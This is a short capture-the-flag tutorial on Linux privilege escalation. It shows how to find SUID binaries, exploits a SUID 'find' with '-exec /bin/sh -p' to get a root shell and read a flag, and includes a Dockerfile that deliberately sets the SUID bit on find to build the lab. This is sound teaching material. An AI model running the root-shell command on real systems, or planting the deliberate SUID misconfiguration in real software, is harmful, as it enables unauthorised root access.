Linux privesc: SUID
A worked challenge — find an unexpected SUID binary and turn it into a root shell.
A classic CTF privesc: you land as a low-privilege user and need root to read the flag. SUID binaries are the first place to look.
Background
A SUID (“set user ID”) binary runs with the privileges of its owner, not
the user who launched it. When that owner is root, an exploitable binary
becomes a root shell.
Enumerate
find / -perm -4000 2>/dev/null-perm -4000matches files whose bits include the SUID bit.2>/dev/nullhides thePermission deniednoise.
Expected binaries (passwd, mount, sudo) are fine. Look for the odd one
out — something that can spawn a shell:
/usr/bin/passwd/usr/bin/sudo/usr/bin/findfind shouldn’t be SUID. Per GTFOBins, a SUID
find runs commands via -exec.
Exploit
find . -exec /bin/sh -p \; -quitThe -p flag keeps the elevated privileges instead of dropping them. Confirm
and grab the flag:
idcat /root/flag.txtBuild it yourself
FROM debian:stable-slimRUN useradd -m student && echo 'redsec{suid_is_a_privilege}' > /root/flag.txt \ && chmod 600 /root/flag.txt && chmod u+s /usr/bin/findUSER studentCMD ["/bin/bash"]